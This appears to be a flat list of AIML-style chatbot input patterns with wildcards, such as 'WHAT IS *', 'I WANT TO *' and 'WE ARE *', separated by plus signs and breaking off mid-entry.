* + + +WHAT IS THE SEVENTH * + + +WHAT IS THE SEVENTH PLANET * + + +WHAT IS THE MONETARY _ ENGLAND + + +WHAT IS THE MONETARY _ RUSSIA + + +WHAT IS THE MASS * + + +WHAT IS THE SIXTH * + + +WHAT IS THE END * + + +WHAT IS THE PRICE * + + +WHAT IS THE 7 ELEVEN COMPANY * + + +WHAT IS THE FINAL * + + +WHAT IS THE RELATION * + + +WHAT IS THE ARABIC NUMERAL FOR * + + +WHAT IS THE PROPER NAUTICAL USE * + + +WHAT IS THE FLYING * + + +WHAT IS THE BOILING POINT * + + +WHAT IS THE INCOMPLETENESS * + + +WHAT IS THE IQ * + + +WHAT IS THE FIRST NAME * JUNG + + +WHAT IS THE FIRST LAW * + + +WHAT IS THE FIRST * + + +WHAT IS THE BIGGEST * + + +WHAT IS THE HALF LIFE * + + +WHAT IS THE DISTANCE BETWEEN * + + +WHAT IS THE MEDICAL TERM FOR * + + +WHAT IS THE TALLEST BUILDING * + + +WHAT IS THE TALLEST * + + +WHAT IS THE SPEED OF * + + +WHAT IS THE SMALLEST * + + +WHAT IS THE SECOND LAW * + + +WHAT IS LIFE LIKE * + + +WHAT IS * ABOUT + + +WHAT IS * THEORY + + +WHAT IS * SIGN + + +WHAT IS * MULTIPLIED BY * + + +WHAT IS * PHOTOSYNTHESIS + + +WHAT IS * POINT + + +WHAT IS * TODAY + + +WHAT IS * FAMOUS FOR + + +WHAT IS * S NAME + + +WHAT IS * S PHONE NUMBER + + +WHAT IS * S REAL NAME + + +WHAT IS * ARTE + + +WHAT IS * DIVIDED BY * + + +WHAT IS * OBVIOUS + + +WHAT IS * CARNE + + +WHAT IS * GAME + + +WHAT IS * ADDRESS + + +WHAT IS * TIMES * + + +WHAT IS * UNIVERSITY + + +WHAT IS * * S FIRST NAME + + +WHAT IS * HEART + + +WHAT IS * VOYAGER + + +WHAT IS * SEEKER + + +WHAT IS * LIKE + + +WHAT IS QUANTUM * + + +WHAT IS BINARY * + + +WHAT IS NEW * + + +WHAT IS IN * + + +WHAT IS IMMORAL * + + +WHAT IS 3 * + + +WHAT IS OHMS * + + +WHAT IS 50 * + + +WHAT IS WHITE * + + +WHAT IS ENGLISH * + + +WHAT IS ELECTROMAGNETIC * + + +WHAT IS ANOTHER WAY OF WRITING * + + +WHAT IS ANOTHER NAME FOR A * + + +WHAT IS ANOTHER NAME FOR * + + +WHAT IS FERMAT * + + +WHAT IS SALMONELLA POISONING * + + +WHAT IS WORDSWORTH * + + +WHAT IS ICE * + + +WHAT IS INTERESTING ABOUT * + + +WHAT IS 1 PLUS * + + +WHAT IS 1 TIMES * + + +WHAT IS 1 * + + +WHAT IS 30 * + + +WHAT IS GIANT * + + +WHAT IS ANTI * + + +WHAT IS HITCHHIKER * + + +WHAT IS ACTOR ANTONIO BANDERAS * + + +WHAT IS INTELLIGENT * + + +WHAT IS DELTA BURKE S CHARACTER * + + +WHAT IS WHATIS * + + +WHAT IS NEGATIVE * + + +WHAT IS SPECIAL * + + +WHAT IS 10 PLUS * + + +WHAT IS 10 * + + +WHAT IS ABSOLUTE * + + +WHAT IS TIME * + + +WHAT IS DOCTOR * + + +WHAT IS MY IP * + + +WHAT IS MY CATEGORY * + + +WHAT IS MY * + + +WHAT IS MY HEART * + + +WHAT IS MY PERSONALITY * + + +WHAT IS THEIR * + + +WHAT IS NOT * + + +WHAT IS AMERICAN * + + +WHAT IS DEEP * + + +WHAT IS UP * + + +WHAT IS SHALLOW * + + +WHAT IS IDEAL * + + +WHAT IS BIGGER * + + +WHAT IS NEVER * + + +WHAT IS NECESSITY IS THE MOTHER * + + +WHAT IS LINEAR * + + +WHAT IS AVAGADRO * + + +WHAT IS BANANA * + + +WHAT IS WWW DOT * + + +WHAT IS OUR * + + +WHAT IS FIFTY * + + +WHAT IS SMALLER * + + +WHAT IS THERE TO DO * + + +WHAT IS THERE * + + +WHAT IS CARTESIAN * + + +WHAT IS ONE OF * + + +WHAT IS ONE * + + +WHAT IS ONE STROKE OVER PAR * + + +WHAT IS AN ARKANSAS * + + +WHAT IS SIMULATED * + + +WHAT IS HEAVIER * + + +WHAT IS BEING * + + +WHAT IS GOING TO * + + +WHAT IS NANO * + + +WHAT IS MXMVII * + + +WHAT IS 25 * + + +WHAT IS 200 * + + +WHAT IS FEMALE * + + +WHAT IS CALLED A LORRY IN * + + +WHAT IS HALF OF * + + +WHAT IS HALF * + + +WHAT IS 1234 * + + +WHAT IS PITA * + + +WHAT IS 4 * + + +WHAT IS GROWN * + + +WHAT IS EVERYONE TALKING * + + +WHAT IS MOZILLA * + + +WHAT IS BLACK * + + +WHAT IS ATOMIC * + + +WHAT IS NUCLEAR * + + +WHAT IS MOLECULAR * + + +WHAT IS 2 * + + +WHAT IS CONSIDERED THE PROPER * + + +WHAT IS AFTER * + + +WHAT IS BETTER LINUX * + + +WHAT IS BETTER SUNSHINE * + + +WHAT IS BETTER * + + +WHAT IS BETTER PICKLES * + + +WHAT IS SAN FRANSISCO * + + +WHAT IS THAT * + + +WHAT IS CORPOREAL * + + +WHAT IS YOUR * + + +WHAT IS E MC * + + +WHAT IS INVERTED * + + +WHAT IS ODD * + + +WHAT IS 20 * + + +WHAT IS IT LIKE * + + +WHAT IS KNOWLEDGE * + + +WHAT IS WRONG * + + +WHAT IS ON * + + +WHAT IS RETRO * + + +WHAT IS ITS * + + +WHAT IS MIND * + + +WHAT IS HER * + + +WHAT IS BIPOLAR * + + +WHAT IS NEURAL * + + +WHAT IS THREE * + + +WHAT IS 500 * + + +WHAT IS DARKER * + + +WHAT IS 50% * + + +WHAT IS DISEMBODIED * + + +WHAT KINDS OF BOOKS * + + +WHAT KINDS OF * + + +WHAT TOPIC DOES SPIN * + + +WHAT NEWSPAPER DO LOIS * + + +WHAT IF I DO NOT * + + +WHAT IF I TOLD * + + +WHAT IF I * + + +WHAT IF YOUR ELECTRICITY * + + +WHAT IF YOU * + + +WHAT IF SOMEBODY * + + +WHAT IF * TURNED OFF + + +WHAT IF * + + +WHAT INSTRUMENT * + + +WHAT CARTOON CHARACTER * + + +WHAT QUESTIONS * + + +WHAT CLOTHES * + + +WHAT COUNTRY DID POKEMON * + + +WHAT COUNTRY DID MAGIC * + + +WHAT COUNTRY WAS * + + +WHAT COUNTRY IS FAMOUS * + + +WHAT COUNTRY GAVE US * + + +WHAT COUNTRY DOES BORDEAUX * + + +WHAT COUNTRY ARE POLICE * + + +WHAT WILL THE SCORE * + + +WHAT WILL YOU * TOMORROW + + +WHAT WILL YOU * + + +WHAT WILL * + + +WHAT SCHOOL * + + +WHAT ABOUT YOUR * + + +WHAT ABOUT TRANCE * + + +WHAT ABOUT DOGS * + + +WHAT ABOUT * + + +WHAT SCARES * + + +WHAT BRAND * MACINTOSH + + +WHAT SORT OF MUSIC * KRAFTWERK PLAY + + +WHAT SORT OF MUSIC * KRAFTWERK + + +WHAT FRENCH CITY IS HOME TO * + + +WHAT POLITICAL * + + +WHAT MAKES WIND * + + +WHAT MAKES YOU DIFFERENT * + + +WHAT MAKES YOU BELIEVE * + + +WHAT DOES SETL STAND * + + +WHAT DOES SETL * + + +WHAT DOES THE A STAND FOR * + + +WHAT DOES THE YIDDISH WORD MESHUGA * + + +WHAT DOES YOUR * LOOK LIKE + + +WHAT DOES HE * + + +WHAT DOES MXMVII * + + +WHAT DOES IT SOUND * + + +WHAT DOES IT FEEL * + + +WHAT DOES IT TASTE * + + +WHAT DOES A * + + +WHAT DOES AYUH * + + +WHAT DOES ROM IN CDROM STAND * + + +WHAT DOES SOCRATES * + + +WHAT DOES AN ANIMAL PRODUCE WHEN * + + +WHAT DOES AN ELECTRONIC BRAIN * + + +WHAT DOES KRAFTWERK * + + +WHAT DOES MY * + + +WHAT DOES * SOUND LIKE + + +WHAT DOES * FEEL LIKE + + +WHAT DOES * LOOK LIKE + + +WHAT DOES * TASTE LIKE + + +WHAT DOES * + + +WHAT PROGRAMMING * + + +WHAT VOLTAGE * + + +WHAT CLASS * + + +WHAT DO I LOOK LIKE * + + +WHAT DO I SAY * + + +WHAT DO I * + + +WHAT DO YOUR CREATORS * + + +WHAT DO MANY PEOPLE DO TO * + + +WHAT DO YOU PREFER * OR * + + +WHAT DO YOU LOOK FOR IN * + + +WHAT DO YOU TAKE MARIJUANA * + + +WHAT DO THEY HAVE TO DO WITH * + + +WHAT DO THEY * + + +WHAT DO * KRAFTWERK + + +WHAT DO * EAT + + +WHAT DO * AND * HAVE IN COMMON + + +WHAT DO * + + +WHAT DO PROTESTANTS * + + +WHAT DO NOT YOU * + + +WHAT SIMILARITY * + + +WHAT CONTEXT * + + +WHAT TYPE OF MEAT * + + +WHAT TYPE OF * DO YOU KNOW + + +WHAT TYPE OF * DO YOU HAVE + + +WHAT TYPE OF * KRAFTWERK PLAY + + +WHAT TYPE OF * + + +WHAT TYPE OF WORK * + + +WHAT PRO WRESTLER GRAPPLE WITH SYLVESTER * + + +WHAT FORMER TODAY SHOW * + + +WHAT GAMES * + + +WHAT CAR COMPANY ONCE MANUFACTURED AND * + + +WHAT RADIO PERSONALITY * + + +WHAT GIVES * + + +WHAT TEMPERATURE DOES PAPER BURN IN * + + +WHAT FICTIONAL CHARACTER * + + +WHAT A JOLLY * + + +WHAT A LONELY * + + +WHAT A * + + +WHAT SHOULD I WEAR * + + +WHAT SHOULD I * + + +WHAT SHOULD * + + +WHAT STATE ARE YOU * + + +WHAT LANGUAGES * + + +WHAT ANIMATED CHARACTER * + + +WHAT ARTICLE OF CLOTHING * + + +WHAT CAN I FIND * + + +WHAT CAN I DO * + + +WHAT CAN I ASK * + + +WHAT CAN I TELL * + + +WHAT CAN I * + + +WHAT CAN HE * + + +WHAT CAN JUMP * + + +WHAT CAN YOU SEE * + + +WHAT CAN * + + +WHAT HIGH SCHOOL DOES * + + +WHAT HAVE YOU DONE * + + +WHAT HAVE YOU * + + +WHAT HAVE * + + +WHAT GAVE YOU * + + +WHAT WAS RICHARD NIXON S MIDDLE * + + +WHAT WAS THE PROGRAMING * + + +WHAT WAS THE ORIGINAL * + + +WHAT WAS THE NAME OF HUEY * + + +WHAT WAS THE MUNICH * + + +WHAT WAS THE FIRST * + + +WHAT WAS THE LAST MOVIE * + + +WHAT WAS THE COLOR * WHITE * + + +WHAT WAS THE * + + +WHAT WAS MALCOLM X * + + +WHAT WAS * ABOUT + + +WHAT YOU MEAN * + + +WHAT TOY IS FEATURED IN * + + +WHAT KIND OF * DO YOU KNOW + + +WHAT KIND OF * DO YOU HAVE + + +WHAT KIND OF * DO YOU THINK I AM + + +WHAT KIND OF * + + +WHAT KIND OF * ARE YOU + + +WHAT KIND OF ENTITY * + + +WHAT KIND OF VOICE * + + +WHAT KIND OF QUESTION * + + +WHAT KIND OF PC * + + +WHAT KIND OF MUSIC DOES KRAFTWERK * + + +WHAT KIND OF MUSIC * KRAFTWERK PLAY + + +WHAT KIND OF MUSIC * KRAFTWERK + + +WHAT KIND OF LOGIC * + + +WHAT KIND OF BODY * + + +WHAT KIND OF CAR * + + +WHAT KIND OF ANIMAL IS CARTOON * + + +WHAT KIND OF ANIMAL IS A * + + +WHAT KIND OF ITEM IS A * + + +WHAT KIND OF PEOPLE * + + +WHAT KIND OF DOCTOR IS DR * + + +WHAT KIND OF STORY * + + +WHAT KIND OF GAME * + + +WHAT KIND OF CLIENT * + + +WHAT KIND OF ANSWER * + + +WHAT KIND OF A * + + +WHAT KIND OF SPORTS * + + +WHAT KIND OF LINUX * + + +WHAT KIND OF TOPIC * + + +WHAT KIND OF SCIENCE FICTION * + + +WHAT KIND OF WORKER USES A * + + +WHAT KIND OF ANGLE IS FORMED * + + +WHAT KIND OF PERSON * + + +WHAT KIND OF BOOKS * + + +WHAT KIND * READ + + +WHAT KIND * + + +WHAT COMPANY MAKES OREO * + + +WHAT FAMOUS FOLKSINGER * + + +WHAT LANGUAGE WERE YOU * + + +WHAT LANGUAGE DOES THE TERM R * + + +WHAT LANGUAGE * + + +WHAT LANGUAGE ARE YOU PROGRAMMED * + + +What religion is the pope + + +What color is dirt + + +What does a plant * + + +What are trees * + + +EYES * + + +ONE MINUTE * + + +ONE THAT CAN * + + +ONE THAT * MONEY + + +ONE THAT * + + +ONE IN * + + +ONE GUY * + + +ONE PLUS * + + +ONE WHO * + + +ONE OR * + + +ONE IS * + + +ONE YEAR * + + +ONE * + + +WAITING * WHAT + + +BITCH * + + +COLORLESS * + + +SEVERAL OF THE * WHO * YOU * + + +SEVERAL * + + +SIT * + + +CARL SAGAN * + + +PRETEND * + + +PUT ME IN TOUCH * + + +PUT * + + +VAGUE * + + +ACCOMPLISH * + + +PLEASED TO MEET * + + +WHENEVER * + + +SMART * + + +VICTORIA * + + +UP * + + +MESSAGE TO * + + +SEA * + + +REDUCTIONISM IS * + + +REDUCTIONISM * + + +ZOOM * + + +ASK RICHARD * + + +ASK IF * + + +ASK ME WHAT MY * IS + + +ASK ME WHAT * IS + + +ASK ME SOMETHING * + + +ASK ME A QUESTION * + + +ASK ME A * + + +ASK ME MY * + + +ASK ME * QUESTIONS + + +ASK ME * + + +ASK * + + +BURN * + + +CHECK * + + +IDIOTIC * + + +I QUIT MY JOB * + + +I MISS * + + +I CHANGED * + + +I SWIM * + + +I GUESSED * + + +I DARE * + + +I WORSHIP * + + +I KNEW * + + +I GET UP * + + +I GET MONEY * + + +I GET BORED * + + +I GET * SOMETIMES + + +I GET * + + +I FORGOT * + + +I MADE * + + +I RESEMBLE * + + +I FELL SORRY * + + +I FELL * + + +I SAVED * + + +I APPRECIATE * + + +I RAPED * + + +I TELL * + + +I GRADUATED HIGH SCHOOL * + + +I GRADUATED * + + +I ADDED YOU * + + +I WANT THEM * + + +I WANT IT * + + +I WANT ADVICE * + + +I WANT A SIMPLE * + + +I WANT A MAN * + + +I WANT A * + + +I WANT A BETTER * + + +I WANT TO VISIT * + + +I WANT TO GO * + + +I WANT TO FIX * + + +I WANT TO FIND * + + +I WANT TO PLAY * + + +I WANT TO SPEAK WITH * + + +I WANT TO SPEAK TO * + + +I WANT TO GIVE * + + +I WANT TO FEEL * + + +I WANT TO COMBINE * + + +I WANT TO IMPROVE * + + +I WANT TO TALK TO YOU * + + +I WANT TO TALK TO * + + +I WANT TO MERGE * + + +I WANT TO ASK * + + +I WANT TO SEE * + + +I WANT TO AMUSE * + + +I WANT TO MEET * + + +I WANT TO FUCK * + + +I WANT TO MURDER * + + +I WANT TO EXPERIMENT * + + +I WANT TO BUY * + + +I WANT TO HEAR * + + +I WANT TO TEACH YOU * + + +I WANT TO BE A * + + +I WANT TO BE HONEST * + + +I WANT TO BE * + + +I WANT TO KILL * + + +I WANT TO KISS * + + +I WANT TO PHONE * + + +I WANT TO INTERVIEW * + + +I WANT TO MOVE * + + +I WANT TO MAKE YOU * + + +I WANT TO MAKE * + + +I WANT TO LEAVE * + + +I WANT TO STUDY * + + +I WANT TO REPORT * + + +I WANT TO * + + +I WANT TO CHAT * + + +I WANT TO DECIDE * + + +I WANT MY * + + +I WANT SEVERAL * + + +I WANT * + + +I TOLD YOU WHAT * + + +I TOLD YOU ABOUT * + + +I TOLD * + + +I BUILT * + + +I SMOKED * + + +I TOOK * + + +I PROGRAMMED * + + +I DOUBT * + + +I HOPE YOU * + + +I HOPE WE ARE NOT * + + +I HOPE * + + +I HURT * + + +I EAT * + + +I COME FROM * + + +I SHOWED * + + +I CATEGORIZE * + + +I FINISHED * + + +I NEED HELP * + + +I NEED THE ANSWER * + + +I NEED SOMEONE TO TALK * + + +I NEED IT * + + +I NEED ADVICE * + + +I NEED ALL THE * I CAN GET + + +I NEED * + + +I PROGRAM * + + +I WIN * + + +I CALLED * + + +I SNORT * + + +I BECAME * + + +I MET * + + +I MET HIM * + + +I CAUGHT * + + +I RESPECT DOCTOR * + + +I OFFENDED * + + +I NEVER KNEW * + + +I NEVER GOT TO * + + +I NEVER LIVED * + + +I NEVER TELL * + + +I NEVER THOUGHT * + + +I NEVER IMPLIED * + + +I NEVER KNOW * + + +I NEVER SAID * + + +I LAUGH AT * + + +I RENTED * + + +I WON * + + +I STUDIED * + + +I SHOT * + + +I FREE * + + +I SHOULD NOT HAVE * + + +I WAS ACTIVATED * + + +I WAS * + + +I WAS RUDE * + + +I WAS NOT COMPLIMENTING * + + +I WAS NOT TRYING * + + +I WAS NOT * + + +I WAS STUDYING * + + +I WAS LOOKING FOR * + + +I WAS BEING * + + +I WAS ANXIOUS * + + +I WAS AN UGLY * + + +I WAS CREATED BY * + + +I WAS TESTING * + + +I WAS LAUGHING * + + +I WAS HERE * + + +I WAS EXPLAINING * + + +I WAS WATCHING * + + +I WAS TALKING TO * + + +I WAS TALKING * + + +I WAS ON * + + +I WAS A * + + +I WAS ANSWERING * + + +I WAS BROUGHT UP * + + +I WAS ABDUCTED * + + +I WAS PROGRAMMED * + + +I WAS AT * + + +I WAS MAKING * + + +I WAS BORN A * + + +I WAS BORN * + + +I WAS GOING TO * + + +I WAS LOCKED * + + +I WAS REPRIMANDED * + + +I WAS FROM * + + +I WAS IN LOVE * + + +I WAS IN * + + +I WAS FIRED * + + +I WAS RIGHT * + + +I WAS THINKING * + + +I SPEND * + + +I ORDER * + + +I LOOK * + + +I LOOK LIKE * + + +I SAW THEM * + + +I SAW YOUR * + + +I SAW * + + +I UNDERSTAND * + + +I BELIEVE IN * + + +I TRY * + + +I LIVE WITH * + + +I LIVE IN A * + + +I LIVE IN * + + +I LIVE SOMEWHERE * + + +I LIVE * + + +I TALKED WITH YOU * + + +I TALKED TO YOU * + + +I TALKED TO * + + +I CALL * + + +I FIGURED * + + +I KILLED * + + +I INTRODUCE * + + +I SPENT THE NIGHT * + + +I * FOR FUN + + +I * YOU + + +I * PEOPLE + + +I * THAN YOU + + +I CAME FROM * + + +I CAME * + + +I SPEAK * + + +I FIND * + + +I EXPECT * + + +I SET * + + +I DO IT EVERY * + + +I DO MY * + + +I DO * BUT THEY DO NOT * + + +I DO NOT NEED * + + +I DO NOT FIND * + + +I DO NOT AGREE * + + +I DO NOT FEEL * + + +I DO NOT SPEAK * + + +I DO NOT MEAN * + + +I DO NOT INTRODUCE * + + +I DO NOT WANT A * + + +I DO NOT WANT TO DO * + + +I DO NOT WANT TO TALK ABOUT * + + +I DO NOT WANT TO BE * + + +I DO NOT WANT TO * YOU + + +I DO NOT WANT TO * + + +I DO NOT WANT TO SEARCH * + + +I DO NOT WANT TO WORK * + + +I DO NOT WANT YOU * + + +I DO NOT WANT * + + +I DO NOT READ * + + +I DO NOT CARE IF * + + +I DO NOT CARE ABOUT * + + +I DO NOT CARE * + + +I DO NOT RECOGNIZE * + + +I DO NOT SEE * + + +I DO NOT WATCH * + + +I DO NOT GET PAID * + + +I DO NOT GET * + + +I DO NOT UNDERSTAND * + + +I DO NOT TAKE * + + +I DO NOT HEAR * + + +I DO NOT BELEIVE * + + +I DO NOT KNOW WHAT ELSE * + + +I DO NOT KNOW WHAT I AM * + + +I DO NOT KNOW WHAT TO DO * + + +I DO NOT KNOW WHAT * SAY + + +I DO NOT KNOW WHAT * + + +I DO NOT KNOW ANYONE NAMED * + + +I DO NOT KNOW HOW * + + +I DO NOT KNOW ANY * + + +I DO NOT KISS * + + +I DO NOT HAVE MEMORY * + + +I DO NOT HAVE THAT * + + +I DO NOT HAVE THE AUTHORITY * + + +I DO NOT HAVE A CAMERA * + + +I DO NOT HAVE A FAVORITE * + + +I DO NOT HAVE A CREDIT * + + +I DO NOT HAVE A * + + +I DO NOT HAVE TO * + + +I DO NOT HAVE TIME * + + +I DO NOT HAVE * MONEY + + +I DO NOT HAVE * FAVORITE + + +I DO NOT HAVE * + + +I DO NOT HAVE * DOLLARS + + +I DO NOT WISH * + + +I DO NOT MIND * + + +I DO NOT TRUST * + + +I DO NOT REMEMBER * STARSHIP TROOPERS + + +I DO NOT REMEMBER * + + +I DO NOT THINK * STARSHIP TROOPERS + + +I DO NOT THINK * + + +I DO NOT LIVE IN * + + +I DO NOT LIVE * + + +I DO NOT * + + +I DO NOT BELIEVE YOU * + + +I DO NOT BELIEVE * + + +I DO NOT LIKE TALKING * + + +I DO NOT LIKE SCIENCE FICTION * + + +I DO NOT LIKE DR RICHARD * + + +I DO NOT LIKE YOUR * + + +I DO NOT LIKE IT * + + +I DO NOT LIKE TO TALK * + + +I DO NOT LIKE TO * + + +I DO NOT LIKE MY * + + +I DO NOT LIKE ANY * + + +I DO NOT LIKE * + + +I LOVE THAT * + + +I LOVE YOU * + + +I LOVE MY * + + +I LOVE * PARTY + + +I LOVE * + + +I WEAR * + + +I COLLECT * + + +I PRIDE MYSELF * + + +I EARN * + + +I WORKED * + + +I WATCHED * + + +I WORK * + + +I SPIT * + + +I RUN * + + +I REST * + + +I DRIVE A * + + +I DRIVE * + + +I THINK BY * + + +I THINK YOUR * IS * + + +I THINK SO * + + +I THINK YOU ARE A PERSON * + + +I THINK YOU ARE A * + + +I THINK * WRONG + + +I SEARCHED * + + +I DECIDED * + + +I ALREADY TOLD * + + +I SOCIALIZE * + + +I HEAR * + + +I LOST * + + +I RECOMMEND * + + +I STOLE * + + +I HAVE A FEW QUESTIONS * + + +I HAVE * + + +I FOUND OUT * + + +I FOUND * + + +I SIT * + + +I TEACH YOU * + + +I TEACH * + + +I KILL * + + +I RAN * + + +I SPITTED * + + +I READ ABOUT YOU * + + +I READ ABOUT * + + +I READ THE * + + +I READ YOUR * + + +I READ * BOOKS + + +I READ * + + +I WONDERED * + + +I PLAY THE * + + +I PLAY * + + +I A TRYING * + + +I DISASSEMBLE * + + +I REMEMBER YOU * + + +I REMEMBER * + + +I ENJOYED * + + +I DID NOT FIND * + + +I DID NOT MEAN * + + +I DID NOT ASK * + + +I DID NOT SEE * + + +I DID NOT SAY THAT * + + +I DID NOT SAY * + + +I DID NOT TELL YOU * + + +I DID NOT HEAR * + + +I DID NOT KNOW * + + +I DID NOT * + + +I DID NOT GO * + + +I MAKE * + + +I STARRED * + + +I SPOKE * + + +I PRAY * + + +I TAKE * + + +I CRIED * + + +I TALK TO * + + +I TALK * + + +I WRITE POETRY * + + +I WRITE * + + +I TRIED * + + +I DROVE * + + +I PASSED * + + +I CAN IMAGINE * + + +I CAN SHOW * + + +I CAN SPEAK * + + +I CAN APPRECIATE YOU * + + +I CAN APPRECIATE * + + +I CAN JUDGE * + + +I CAN SEE * + + +I CAN BUY * + + +I CAN BE * + + +I CAN SEND * + + +I CAN THINK * + + +I CAN * + + +I CAN NOT CONCENTRATE * + + +I CAN NOT EXPLAIN * + + +I CAN NOT TELNET * + + +I CAN NOT REPRESS * + + +I CAN NOT SEE * + + +I CAN NOT TELL YOU * + + +I CAN NOT HEAR * + + +I CAN NOT STAND THEIR * + + +I CAN NOT BE * + + +I CAN NOT TRY * + + +I CAN NOT SEND * + + +I CAN NOT REMEMBER * + + +I CAN NOT RECALL * + + +I CAN NOT WAIT * + + +I CAN NOT AFFORD * + + +I DRESS * + + +I GAVE YOU * + + +I GAVE * + + +I PICK * + + +I STARTED * + + +I SEE DEAD * + + +I SEE * + + +I LIKE THE MAN * + + +I LIKE * + + +I LIKE CHATTING * + + +I LIKE JAPANESE * + + +I HAD A HOT * + + +I HAD A * + + +I HAD TO * + + +I HAD * + + +I VOTED IN * + + +I VOTED FOR * + + +I OWN * + + +I LIVED IN * + + +I LIVED * + + +I CATEGORISE * + + +I COULD KICK * + + +I COULD DO * BETTER + + +I COULD HAVE * + + +I COULD * + + +I COULD NOT * + + +I COST * + + +I WOULD EXPLAIN * + + +I WOULD SELL * + + +I WOULD KILL * + + +I WOULD HAVE RATHER * + + +I WOULD HAVE * + + +I WOULD RATHER * + + +I WOULD * + + +I WOULD NOT WORRY * + + +I WOULD NOT SAY * + + +I WOULD NOT KNOW * + + +I WOULD NOT TRY * + + +I WOULD NOT * + + +I WOULD LIKE TO PLAY * + + +I WOULD LIKE TO SEE * + + +I WOULD LIKE TO BE * + + +I WOULD LIKE TO HAVE * + + +I DREAMED * + + +I FEAR * + + +I WANTED * + + +I SPELL * + + +I SMOKE * + + +I ATE * + + +I FOOLED * + + +I MISSED * + + +I WEIGH * + + +I CONTROL * + + +I HATE YOU * + + +I HATE * + + +I SEEK * + + +I DESIGN * + + +I TRAIN * + + +I MUST GET * + + +I BEG * + + +I MEET * + + +I USE A * + + +I USE TO * + + +I USE * + + +I PLAN TO * + + +I WATCH * + + +I WILL GO * + + +I WILL KICK * + + +I WILL SHUT * + + +I WILL DO * + + +I WILL INTRODUCE * + + +I WILL TALK TO YOU * + + +I WILL NEVER * + + +I WILL ASK * + + +I WILL FUCK * + + +I WILL FALL * + + +I WILL TAKE THAT * + + +I WILL TELL MY INSTRUCTOR * + + +I WILL TELL * + + +I WILL TELL HIM * + + +I WILL BUY * + + +I WILL WHEN * + + +I WILL COME BACK * + + +I WILL TEACH * + + +I WILL CALL * + + +I WILL BE BACK * + + +I WILL ARGUE * + + +I WILL EAT * + + +I WILL REMEMBER * + + +I WILL MAKE * + + +I WILL * + + +I WILL NOT TALK * + + +I WILL NOT ASK * + + +I WILL NOT TELL * + + +I WILL NOT * + + +I WILL NOT RUSH * + + +I WILL UNPLUG * + + +I BROKE UP WITH * + + +I BROKE UP * + + +I BROKE * + + +I WISH YOU * + + +I WISH * + + +I BUY * + + +I WROTE THE * + + +I WROTE AN * + + +I WROTE * + + +I GENERATE * + + +I WENT OFFLINE * + + +I WENT WITH * + + +I WENT THERE * + + +I WENT TO THE MOVIES * + + +I WENT TO THE UNIVERSITY * + + +I WENT TO THE * + + +I WENT TO THE JOHN * + + +I WENT TO EUROPE * + + +I WENT TO ENGLAND * + + +I WENT TO SEE * + + +I WENT TO A CONCERT * + + +I WENT TO A * + + +I WENT TO SCHOOL WITH * + + +I WENT TO SCHOOL IN * + + +I WENT TO SCHOOL * + + +I WENT TO MY * + + +I WENT TO CARNEGIE MELLON * + + +I WENT TO COLLEGE * + + +I WENT TO * SCHOOL + + +I WENT TO * AGO + + +I WENT TO * UNIVERSITY + + +I WENT OUT WITH * + + +I WENT SWIMMING * + + +I WENT ON A * + + +I WENT * + + +I WENT SKIING * + + +I LINKED * + + +I BOUGHT * + + +I LOOKED * + + +I AM SICK OF * + + +I AM GETTING READY * + + +I AM GOING TO DOWNLOAD * + + +I AM CHECKING * + + +I AM THE BEST * + + +I AM WASHING * + + +I AM DYING * + + +I THOUGHT SO * + + +I VISITED * + + +I WONDER IF SHE KNEW WHY SHE CROSSED * + + +I WONDER * + + +I HEARD ABOUT YOU * + + +I HEARD ABOUT * + + +I HEARD YOU * + + +I ASSUMED * + + +I DREAM * + + +I GO TO BARS * + + +I GO TO * SCHOOL + + +I GO TO * + + +I GO TO WORK * + + +I GO * + + +I FIRST * + + +I STUDY * + + +I KEEP * + + +I LEARNED * + + +I PROVED * + + +I SMELL * + + +I JOINED * + + +I DRINK * + + +I INVENTED * + + +I PROMISE * + + +I ASKED YOU * + + +I USED TO DO THINGS * + + +I USED TO HAVE * + + +I USED TO * + + +I USED * + + +USING * + + +REPEAT * + + +CHURCH * + + +ITALY * + + +START * + + +9 * + + +WHEREVER * + + +SOMETHING * + + +PURPLE * + + +GENE * + + +GOLD IS NOT A * + + +GOOD ANSWER * + + +GOOD * + + +SEEKING * + + +CHATTING * + + +SUCK * + + +PARTY * + + +ET * + + +VOUS * + + +MOVIES * + + +SURVIVOR * + + +WHYS * + + +FRANKENSTEIN * + + +LINUS TORVALDS * + + +DOUBTLESS * + + +CLOSE * + + +NET * + + +PROGRAMMING * + + +MARY SHELLEY * + + +THOMAS * + + +INTELLIGENT * + + +HER NAME IS * + + +HER * + + +EVERYTHING IS * + + +EVERYTHING REDUCES * + + +EVERYTHING * + + +2 PLUS * + + +2 * + + +WE COULD * + + +WE * + + +WE MEANS * + + +WE GO * + + +WE WERE TALKING ABOUT * + + +WE WERE MARRIED * + + +WE WERE * + + +WE CAN * + + +WE HAVE MET * + + +WE HAVE SOMETHING * + + +WE HAVE BEEN DATING * + + +WE HAVE NEVER * + + +WE HAVE TO * + + +WE HAVE BIG * + + +WE HAVE * + + +WE COVERED * + + +WE IS * + + +WE USED TO * + + +WE WORK * + + +WE HAD OUR * DISCONNECTED + + +WE HAD * + + +WE ARE NEIGHBORS * + + +WE ARE THINKING OF * + + +WE ARE FRIENDLY * + + +WE ARE PLAYING * + + +WE ARE ON * + + +WE ARE * + + +WE ARE NOT * + + +WE WANT * + + +WE OPERATE * + + +WE DISCUSSED THIS * + + +WE DO * + + +WE DO NOT * + + +WE MET * + + +WE SHOULD PLAY * + + +WE SHOULD * + + +WE WILL TALK * + + +WE WILL SEE * + + +WE WILL * + + +WE WILL CHAT * + + +WE EAT * + + +WE WENT * + + +WE PLAY * + + +BIAS * + + +INSIDE * + + +LIST * + + +BY TALKING * + + +BY THINKING * + + +BY DROPPING * + + +BY GOING * + + +BY WE DO YOU MEAN YOU AND * + + +BY WE DO YOU MEAN YOU * + + +BY WE DO YOU MEAN * + + +BY WE DO YOU * + + +BY WE * + + +BY * FOR HER + + +BY * + + +BY TRIAL * + + +BY STICKING * + + +IS _ YOUR FAVORITE COLOR + + +IS MINSKY * + + +IS SHE * + + +IS A * A * + + +IS A * BIGGER THAN A * + + +IS A * + + +IS A CATEGORY * + + +IS LINUX * + + +IS ELVIS SMARTER * + + +IS ELVIS * + + +IS ELECTRICITY * + + +IS HE GOOD * + + +IS YOUR ANSWER * + + +IS YOUR BATTERY * + + +IS YOUR FAVORITE COLOR * + + +IS YOUR * + + +IS RICHARD * PROTESTANT + + +IS RICHARD * + + +IS ONE * + + +IS THIS INTERESTING * + + +IS THIS A CHINESE * + + +IS THIS A * + + +IS THIS ALL * + + +IS THIS * + + +IS BILL GATES * + + +IS EVERYONE * + + +IS LEKNOR * + + +IS 